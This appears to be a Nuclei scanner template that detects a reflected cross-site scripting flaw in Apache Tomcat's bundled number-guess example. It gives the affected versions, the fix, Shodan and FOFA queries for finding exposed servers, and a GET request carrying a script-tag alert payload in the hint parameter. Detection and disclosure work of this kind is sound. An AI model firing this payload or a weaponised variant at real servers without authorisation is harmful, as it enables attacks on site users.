id: CVE-2026-50229 info: name: Apache Tomcat - Cross-Site Scripting author: yshahinzadeh,amirmsafari severity: medium description: | Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in the number guess example for Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M1 through 10.1.55, from 9.0.0.M1 through 9.0.118, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other versions that have reached end of support may also be affected. Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fix the issue. impact: | Remote attackers can execute scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users. remediation: | Upgrade to versions 11.0.23, 10.1.56, or 9.0.119 or later. reference: - https://lists.apache.org/thread/wlt2no8bw45zl1w8byop4zfqphldf5j0 - https://www.cve.org/CVERecord?id=CVE-2026-50229 - https://tomcat.apache.org/security-11.html - https://www.herodevs.com/vulnerability-directory/cve-2026-50229 classification: cwe-id: CWE-80 cve-id: CVE-2026-50229 epss-score: 0.04249 epss-percentile: 0.89999 metadata: verified: true max-request: 1 vendor: apache product: tomcat shodan-query: html:"Apache Tomcat" fofa-query: app="APACHE-Tomcat" tags: cve,cve2026,apache,tomcat,xss http: - method: GET path: - "{{BaseURL}}/examples/jsp/num/numguess.jsp?guess=5&hint=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word part: body words: - '' - 'Number Guess' condition: and - type: word part: content_type words: - "text/html" - type: status status: - 200 # digest: 4a0a004730450221008d4606a9fc54c8b1c001fbbf941d81fb2248e688b3213371404985a8bea803ec0220432b425e33f8921d237ece88b63a57a68ec81459ce6bbec36b25a1dc1eccd464:922c64590222798bb761d5b6d8e72950